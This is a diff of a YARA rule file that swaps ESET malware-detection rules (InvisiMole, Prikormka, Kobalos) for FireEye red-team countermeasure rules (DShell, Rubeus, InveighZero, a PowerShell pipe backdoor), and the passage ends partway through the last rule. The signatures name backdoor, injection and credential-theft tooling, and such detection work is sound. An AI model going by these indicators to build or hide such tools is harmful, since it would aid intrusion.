-		$old_ver2 = {6F 70 65 6E 00 00 00 00 64 6F 63 00 64 61 66 73 72 00 00 00 53 68 65 6C 6C 33 32 2E 64 6C 6C 00}
+		$ss1 = "\x00NtMapViewOfSection\x00"
+		$ss2 = "\x00NtOpenProcess\x00"
+		$ss3 = "\x00NtAlertResumeThread\x00"
+		$ss4 = "\x00LdrGetProcedureAddress\x00"
+		$ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
+		$ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
+		$tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
 
 	condition:
-		($mz at 0) and (( all of ($str*)) or any of ($old_ver*) or $wiki_str)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
 import "pe"
 
-private rule ESET_Invisimole_Blob_PRIVATE
+rule FIREEYE_RT_APT_Backdoor_PS1_BASICPIPESHELL_1
 {
 	meta:
-		description = "Detects InvisiMole blobs by magic values"
-		author = "ESET Research"
-		id = "6a179d91-50f1-5400-b141-0f162efd2431"
-		date = "2021-05-17"
-		modified = "2021-05-17"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/invisimole/invisimole.yar#L34-L52"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "8bddaf874da58fbe6362498f8979b511f39531fe2b98d4be8c099bdafb6d0067"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "8f85d6cc-fd1e-5bf3-8052-440cbeda0ac9"
+		date = "2020-12-18"
+		modified = "2020-12-18"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BASICPIPESHELL/production/yara/APT_Backdoor_PS1_BASICPIPESHELL_1.yar#L5-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		logic_hash = "7a9f0002055ffe826562cab3d02d8babd14c5fcd6d0b528a2988e2649034279d"
 		score = 75
-		quality = 80
+		quality = 63
 		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
 
 	strings:
-		$magic_old_32 = {F9 FF D0 DE}
-		$magic_old_64 = {64 FF D0 DE}
-		$magic_new_32 = {86 DA 11 CE}
-		$magic_new_64 = {64 DA 11 CE}
+		$s1 = "function Invoke-Client()" ascii nocase wide
+		$s2 = "function Invoke-Server" ascii nocase wide
+		$s3 = "Read-Host 'Enter Command:'" ascii nocase wide
+		$s4 = "new-object System.IO.Pipes.NamedPipeClientStream(" ascii nocase wide
+		$s5 = "new-object System.IO.Pipes.NamedPipeServerStream(" ascii nocase wide
+		$s6 = " = iex $" ascii nocase wide
 
 	condition:
-		($magic_old_32 at 0) or ($magic_old_64 at 0) or ($magic_new_32 at 0) or ($magic_new_64 at 0)
+		all of them
 }
-private rule ESET_Prikormkaearlyversion_PRIVATE
+rule FIREEYE_RT_Tool_MSIL_Csharputils_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "f10e6477-c4bb-50be-8827-66de35a9aea8"
-		date = "2019-08-28"
-		modified = "2019-08-28"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/groundbait/prikormka.yar#L112-L128"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "681c7fb322953da162c10b76e453aa8ace6673720012383e3cd5528b59b42de3"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CSharpUtils' project."
+		author = "FireEye"
+		id = "a0e8c45a-759a-5611-aa2a-3113a75fb651"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPUTILS/production/yara/Tool_MSIL_CSharpUtils_1.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "11dfd44fb4ee1e610c2e4a941b3a1e88eafc30a2a2237529150e73bceb2a1324"
 		score = 75
-		quality = 28
-		tags = ""
+		quality = 65
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$mz = { 4D 5A }
-		$str00 = "IntelRestore" ascii fullword
-		$str01 = "Resent" wide fullword
-		$str02 = "ocp8.1" wide fullword
-		$str03 = "rsfvxd.dat" ascii fullword
-		$str04 = "tsb386.dat" ascii fullword
-		$str05 = "frmmlg.dat" ascii fullword
-		$str06 = "smdhost.dll" ascii fullword
-		$str07 = "KDLLCFX" wide fullword
-		$str08 = "KDLLRUNDRV" wide fullword
+		$typelibguid0 = "2130bcd9-7dd8-4565-8414-323ec533448d" ascii nocase wide
+		$typelibguid1 = "319228f0-2c55-4ce1-ae87-9e21d7db1e40" ascii nocase wide
+		$typelibguid2 = "4471fef9-84f5-4ddd-bc0c-31f2f3e0db9e" ascii nocase wide
+		$typelibguid3 = "5c3bf9db-1167-4ef7-b04c-1d90a094f5c3" ascii nocase wide
+		$typelibguid4 = "ea383a0f-81d5-4fa8-8c57-a950da17e031" ascii nocase wide
 
 	condition:
-		($mz at 0) and (2 of ($str*))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-private rule ESET_Prikormkamodule_PRIVATE
+rule FIREEYE_RT_Hacktool_MSIL_INVEIGHZERO_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "f99ed5f7-9ccc-5543-9224-6f865578f81e"
-		date = "2019-08-28"
-		modified = "2019-08-28"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/groundbait/prikormka.yar#L53-L110"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "d5d7f1a46cbf9ff545c0fa840228d19ee7d45307078b4ae0b5a2fdf1c94d2978"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'inveighzero' project."
+		author = "FireEye"
+		id = "f46fe365-ea50-5597-828e-61a7225e4c6e"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/INVEIGHZERO/production/yara/HackTool_MSIL_INVEIGHZERO_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "5d10557a83dae9508469fe87f4c0c91beec4d2812856eee461a82d5dbb89aa35"
 		score = 75
-		quality = 26
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$mz = { 4D 5A }
-		$str00 = {6D 70 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
-		$str01 = {68 6C 70 75 63 74 66 2E 64 6C 6C 00 43 79 63 6C 65}
-		$str02 = {00 6B 6C 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
-		$str03 = {69 6F 6D 75 73 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67}
-		$str04 = {61 74 69 6D 6C 2E 64 6C 6C 00 4B 69 63 6B 49 6E 50 6F 69 6E 74}
-		$str05 = {73 6E 6D 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
-		$str06 = {73 63 72 73 68 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
-		$str07 = {50 52 55 5C 17 51 58 17 5E 4A}
-		$str08 = {60 4A 55 55 4E 53 58 4B 17 52 57 17 5E 4A}
-		$str09 = {55 52 5D 4E 5B 4A 5D 17 51 58 17 5E 4A}
-		$str10 = {60 4A 55 55 4E 61 17 51 58 17 5E 4A}
-		$str11 = {39 5D 17 1D 1C 0A 3C 57 59 3B 1C 1E 57 58 4C 54 0F}
-		$str12 = "ZxWinDeffContex" ascii wide
-		$str13 = "Paramore756Contex43" wide
-		$str14 = "Zw_&one@ldrContext43" wide
-		$str15 = "A95BL765MNG2GPRS"
-		$str16 = "helpldr.dll" wide fullword
-		$str17 = "swma.dll" wide fullword
-		$str18 = "iomus.dll" wide fullword
-		$str19 = "atiml.dll" wide fullword
-		$str20 = "hlpuctf.dll" wide fullword
-		$str21 = "hauthuid.dll" ascii wide fullword
-		$str22 = "[roboconid][%s]" ascii fullword
-		$str23 = "[objectset][%s]" ascii fullword
-		$str24 = "rbcon.ini" wide fullword
-		$str25 = "%s%02d.%02d.%02d_%02d.%02d.%02d.skw" ascii fullword
-		$str26 = "%02d.%02d.%02d_%02d.%02d.%02d.%02d.rem" wide fullword
-		$str27 = ":\\!PROJECTS!\\Mina\\2015\\" ascii
-		$str28 = "\\PZZ\\RMO\\" ascii
-		$str29 = ":\\work\\PZZ" ascii
-		$str30 = "C:\\Users\\mlk\\" ascii
-		$str31 = ":\\W o r k S p a c e\\" ascii
-		$str32 = "D:\\My\\Projects_All\\2015\\" ascii
-		$str33 = "\\TOOLS PZZ\\Bezzahod\\" ascii
+		$typelibguid0 = "113ae281-d1e5-42e7-9cc2-12d30757baf1" ascii nocase wide
 
 	condition:
-		($mz at 0) and ( any of ($str*))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-private rule ESET_Prikormkadropper_PRIVATE
+rule FIREEYE_RT_APT_Backdoor_Win_Dshell_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "d333693d-5386-5c34-a1c1-7a17e5bde849"
-		date = "2019-08-28"
-		modified = "2019-08-28"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/groundbait/prikormka.yar#L33-L51"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "cf524cdf4ffeb5c9280c5c8e7fca524c41e1ce4f9bc46b1fc8cb8b50ea68ec39"
-		score = 75
-		quality = 28
-		tags = ""
+		description = "This rule looks for strings specific to the D programming language in combination with a selection of Windows functions that are present within a DShell payload"
+		author = "FireEye"
+		id = "538e150f-0fb9-5a85-9299-9b4a57f8a606"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/supplemental/yara/APT_Backdoor_Win_DShell_2.yar#L4-L132"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "e0683f8ee787313cfd2c61cd0995a830"
+		logic_hash = "2b4d33c17cac35153346002c48457d9b46010f1c052df632c647c22c8d96b54c"
+		score = 60
+		quality = 20
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$mz = { 4D 5A }
-		$kd00 = "KDSTORAGE" wide
-		$kd01 = "KDSTORAGE_64" wide
-		$kd02 = "KDRUNDRV32" wide
-		$kd03 = "KDRAR" wide
-		$bin00 = {69 65 04 15 00 14 1E 4A 16 42 08 6C 21 61 24 0F}
-		$bin01 = {76 6F 05 04 16 1B 0D 5E 0D 42 08 6C 20 45 18 16}
-		$bin02 = {4D 00 4D 00 43 00 00 00 67 00 75 00 69 00 64 00 56 00 47 00 41 00 00 00 5F 00 73 00 76 00 67 00}
-		$inj00 = "?AVCinj2008Dlg@@" ascii
-		$inj01 = "?AVCinj2008App@@" ascii
+		$dlang1 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+		$dlang2 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+		$dlang3 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+		$dlang4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+		$dlang5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+		$dlang6 = "\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+		$dlang7 = "\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+		$dlang8 = "\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+		$dlang9 = "\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+		$dlang10 = "\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+		$dlang11 = "Unexpected '\\n' when converting from type const(char)[] to type int" ascii wide
+		$ign1 = "--strip-comments"
+		$ign2 = "Usage: rdmd [RDMD AND DMD OPTIONS]"
+		$s1 = "CloseHandle"
+		$s2 = "CommandLineToArgvW"
+		$s3 = "CreateFileA"
+		$s4 = "CreateSemaphoreA"
+		$s5 = "CreateThread"
+		$s6 = "DeleteCriticalSection"
+		$s7 = "DeleteFileA"
+		$s8 = "DuplicateHandle"
+		$s9 = "EnterCriticalSection"
+		$s10 = "ExitProcess"
+		$s11 = "ExitThread"
+		$s12 = "ExpandEnvironmentStringsW"
+		$s13 = "FileTimeToDosDateTime"
+		$s14 = "FindClose"
+		$s15 = "FindFirstFileA"
+		$s16 = "FindFirstFileW"
+		$s17 = "FindNextFileA"
+		$s18 = "FindNextFileW"
+		$s19 = "FormatMessageW"
+		$s20 = "FreeEnvironmentStringsA"
+		$s21 = "FreeEnvironmentStringsW"
+		$s22 = "FreeLibrary"
+		$s23 = "GetACP"
+		$s24 = "GetCPInfo"
+		$s25 = "GetCommandLineA"
+		$s26 = "GetCommandLineW"
+		$s27 = "GetConsoleOutputCP"
+		$s28 = "GetConsoleScreenBufferInfo"
+		$s29 = "GetCurrentProcess"
+		$s30 = "GetCurrentThread"
+		$s31 = "GetCurrentThreadId"
+		$s32 = "GetEnvironmentStrings"
+		$s33 = "GetEnvironmentStringsW"
+		$s34 = "GetEnvironmentVariableA"
+		$s35 = "GetEnvironmentVariableW"
+		$s36 = "GetExitCodeThread"
+		$s37 = "GetFileAttributesW"
+		$s38 = "GetFileType"
+		$s39 = "GetLastError"
+		$s40 = "GetModuleFileNameA"
+		$s41 = "GetModuleHandleA"
+		$s42 = "GetOEMCP"
+		$s43 = "GetProcAddress"
+		$s44 = "GetProcessHeap"
+		$s45 = "GetStdHandle"
+		$s46 = "GetStringTypeA"
+		$s47 = "GetSystemInfo"
+		$s48 = "GetThreadContext"
+		$s49 = "GetTickCount"
+		$s50 = "GetTimeZoneInformation"
+		$s51 = "GetVersion"
+		$s52 = "GlobalAlloc"
+		$s53 = "GlobalFree"
+		$s54 = "GlobalMemoryStatus"
+		$s55 = "HeapAlloc"
+		$s56 = "HeapFree"
+		$s57 = "HeapReAlloc"
+		$s58 = "InitializeCriticalSection"
+		$s59 = "IsDebuggerPresent"
+		$s60 = "LCMapStringA"
+		$s61 = "LeaveCriticalSection"
+		$s62 = "LoadLibraryA"
+		$s63 = "LoadLibraryW"
+		$s64 = "LocalFree"
+		$s65 = "MessageBoxA"
+		$s66 = "MultiByteToWideChar"
+		$s67 = "QueryPerformanceCounter"
+		$s68 = "QueryPerformanceFrequency"
+		$s69 = "RaiseException"
+		$s70 = "ReadFile"
+		$s71 = "RegCloseKey"
+		$s72 = "RegCreateKeyExW"
+		$s73 = "RegDeleteKeyW"
+		$s74 = "RegDeleteValueW"
+		$s75 = "RegEnumKeyExW"
+		$s76 = "RegEnumValueW"
+		$s77 = "RegFlushKey"
+		$s78 = "RegOpenKeyExW"
+		$s79 = "RegOpenKeyW"
+		$s80 = "RegQueryInfoKeyW"
+		$s81 = "RegQueryValueExW"
+		$s82 = "RegSetValueExW"
+		$s83 = "ReleaseSemaphore"
+		$s84 = "ResumeThread"
+		$s85 = "RtlCaptureContext"
+		$s86 = "RtlUnwind"
+		$s87 = "SetConsoleCtrlHandler"
+		$s88 = "SetEnvironmentVariableW"
+		$s89 = "SetFilePointer"
+		$s90 = "SetHandleCount"
+		$s91 = "SetLastError"
+		$s92 = "Sleep"
+		$s93 = "SuspendThread"
+		$s94 = "SwitchToThread"
+		$s95 = "SystemTimeToTzSpecificLocalTime"
+		$s96 = "TryEnterCriticalSection"
+		$s97 = "TzSpecificLocalTimeToSystemTime"
+		$s98 = "UnhandledExceptionFilter"
+		$s99 = "VirtualAlloc"
+		$s100 = "VirtualFree"
+		$s101 = "WaitForSingleObject"
+		$s102 = "WideCharToMultiByte"
+		$s103 = "WriteConsoleA"
+		$s104 = "WriteFile"
+		$s105 = "lstrlenW"
 
 	condition:
-		($mz at 0) and (( any of ($bin*)) or (3 of ($kd*)) or ( all of ($inj*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and filesize >500KB and filesize >700KB and all of ($s*) and 1 of ($dlang*) and not $ign1 and not $ign2
 }
-import "pe"
-
-private rule ESET_IIS_Native_Module_PRIVATE : FILE
+rule FIREEYE_RT_APT_Loader_Win32_Dshell_1 : FILE
 {
 	meta:
-		description = "Signature to match an IIS native module (clean or malicious)"
-		author = "ESET Research"
-		id = "e3bacdc8-fde1-5e83-ac94-79fc345e888d"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L34-L92"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "5a388dc3253df606e2648d1f9c018e6dde373bbddce66dba69b7aecdd95bac18"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "dad763bd-0e4a-542a-9920-ece11d23ce24"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_1.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "12c3566761495b8353f67298f15b882c"
+		logic_hash = "79643f9c252765647d80f6fe1ee7bb698fbc6a6c3a0ff1fd819a09bff031907c"
 		score = 75
-		quality = 55
+		quality = 75
 		tags = "FILE"
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$e1 = "This module subscribed to event"
-		$e2 = "CHttpModule::OnBeginRequest"
-		$e3 = "CHttpModule::OnPostBeginRequest"
-		$e4 = "CHttpModule::OnAuthenticateRequest"
-		$e5 = "CHttpModule::OnPostAuthenticateRequest"
-		$e6 = "CHttpModule::OnAuthorizeRequest"
-		$e7 = "CHttpModule::OnPostAuthorizeRequest"
-		$e8 = "CHttpModule::OnResolveRequestCache"
-		$e9 = "CHttpModule::OnPostResolveRequestCache"
-		$e10 = "CHttpModule::OnMapRequestHandler"
-		$e11 = "CHttpModule::OnPostMapRequestHandler"
-		$e12 = "CHttpModule::OnAcquireRequestState"
-		$e13 = "CHttpModule::OnPostAcquireRequestState"
-		$e14 = "CHttpModule::OnPreExecuteRequestHandler"
-		$e15 = "CHttpModule::OnPostPreExecuteRequestHandler"
-		$e16 = "CHttpModule::OnExecuteRequestHandler"
-		$e17 = "CHttpModule::OnPostExecuteRequestHandler"
-		$e18 = "CHttpModule::OnReleaseRequestState"
-		$e19 = "CHttpModule::OnPostReleaseRequestState"
-		$e20 = "CHttpModule::OnUpdateRequestCache"
-		$e21 = "CHttpModule::OnPostUpdateRequestCache"
-		$e22 = "CHttpModule::OnLogRequest"
-		$e23 = "CHttpModule::OnPostLogRequest"
-		$e24 = "CHttpModule::OnEndRequest"
-		$e25 = "CHttpModule::OnPostEndRequest"
-		$e26 = "CHttpModule::OnSendResponse"
-		$e27 = "CHttpModule::OnMapPath"
-		$e28 = "CHttpModule::OnReadEntity"
-		$e29 = "CHttpModule::OnCustomRequestNotification"
-		$e30 = "CHttpModule::OnAsyncCompletion"
-		$e31 = "CGlobalModule::OnGlobalStopListening"
-		$e32 = "CGlobalModule::OnGlobalCacheCleanup"
-		$e33 = "CGlobalModule::OnGlobalCacheOperation"
-		$e34 = "CGlobalModule::OnGlobalHealthCheck"
-		$e35 = "CGlobalModule::OnGlobalConfigurationChange"
-		$e36 = "CGlobalModule::OnGlobalFileChange"
-		$e37 = "CGlobalModule::OnGlobalApplicationStart"
-		$e38 = "CGlobalModule::OnGlobalApplicationResolveModules"
-		$e39 = "CGlobalModule::OnGlobalApplicationStop"
-		$e40 = "CGlobalModule::OnGlobalRSCAQuery"
-		$e41 = "CGlobalModule::OnGlobalTraceEvent"
-		$e42 = "CGlobalModule::OnGlobalCustomNotification"
-		$e43 = "CGlobalModule::OnGlobalThreadCleanup"
-		$e44 = "CGlobalModule::OnGlobalApplicationPreload"
+		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+		$sb2 = { FF 7? 0C B? [4-16] FF 7? 08 5? [0-12] E8 [4] 84 C0 74 05 B? 01 00 00 00 [0-16] 80 F2 01 0F 84 }
+		$ss1 = "\x00CreateThread\x00"
+		$ss2 = "base64.d" fullword
+		$ss3 = "core.sys.windows" fullword
 
 	condition:
-		uint16(0)==0x5A4D and pe.exports("RegisterModule") and any of ($e*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-private rule ESET_Is_Elf_PRIVATE
+rule FIREEYE_RT_APT_Loader_Win32_Dshell_2 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - ESET"
-		author = "ESET TI"
-		id = "6389dc72-ac97-5366-83f2-2e9bcf618ae4"
-		date = "2016-11-01"
-		modified = "2016-11-01"
-		reference = "https://github.com/eset/malware-ioc"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/moose/linux-moose.yar#L32-L39"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "2a3c9a875852cd3ce86d43b9e4a6ba786ecbae1f18bba73a3bef5b7e8ba67a3b"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "ae34d547-d979-5ce2-bcf8-a5b4e4567de3"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_2.yar#L4-L21"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "590d98bb74879b52b97d8a158af912af"
+		logic_hash = "958ff45add46c0a43e839e8007c1d9296ee89ddd8c045b8ec6b031b225207a6c"
 		score = 75
-		quality = 80
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		rev = 2
 
 	strings:
-		$header = { 7F 45 4C 46 }
+		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+		$ss1 = "\x00CreateThread\x00"
+		$ss2 = "base64.d" fullword
+		$ss3 = "core.sys.windows" fullword
+		$ss4 = "C:\\Users\\config.ini" fullword
+		$ss5 = "Invalid config file" fullword
 
 	condition:
-		$header at 0
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-rule ESET_Kobalos
+rule FIREEYE_RT_APT_Loader_Win32_Dshell_3 : FILE
 {
 	meta:
-		description = "Kobalos malware"
-		author = "Marc-Etienne M.Léveillé"
-		id = "cdffbe3d-c19d-53a8-9051-48affae00c8a"
-		date = "2020-11-02"
-		modified = "2021-02-01"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/kobalos/kobalos.yar#L32-L56"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "9161d22f9fbb1700dc3121e32104240e34512cb280aaf950aec61513f89061ef"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "6b6fccef-ac93-5f1b-b9b6-c2d3ee4d8da7"
+		date = "2020-11-27"
+		date = "2020-11-27"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_3.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "12c3566761495b8353f67298f15b882c"
+		logic_hash = "ec2a8b0abc6cb6d1861199b892fbe84782b42babb08e3ea203d10ab17ff7a20a"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$encrypted_strings_sizes = {
-            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
-            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
-            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
-            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
-        }
-		$password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
-		$rsa_512_mod_header = { 10 11 02 00 09 02 00 }
-		$strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }
+		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+		$ss1 = "\x00CreateThread\x00"
+		$ss2 = "base64.d" fullword
+		$ss3 = "core.sys.windows" fullword
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
 }
-rule ESET_Kobalos_Ssh_Credential_Stealer
+rule FIREEYE_RT_Hacktool_MSIL_Rubeus_1 : FILE
 {
 	meta:
-		description = "Kobalos SSH credential stealer seen in OpenSSH client"
-		author = "Marc-Etienne M.Léveillé"
-		id = "b1fc5163-de48-57fc-8ae7-1f2be6c64d8a"
-		date = "2020-11-02"
-		modified = "2021-02-01"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/kobalos/kobalos.yar#L58-L73"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "be238f5c2cc976a5638584a8c0fc580f2076735aadfe374e8d4162ba723bce10"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
+		author = "FireEye"
+		id = "0ca140ea-2b9f-5904-a4c0-8615229626f0"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar#L4-L15"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "66e0681a500c726ed52e5ea9423d2654"
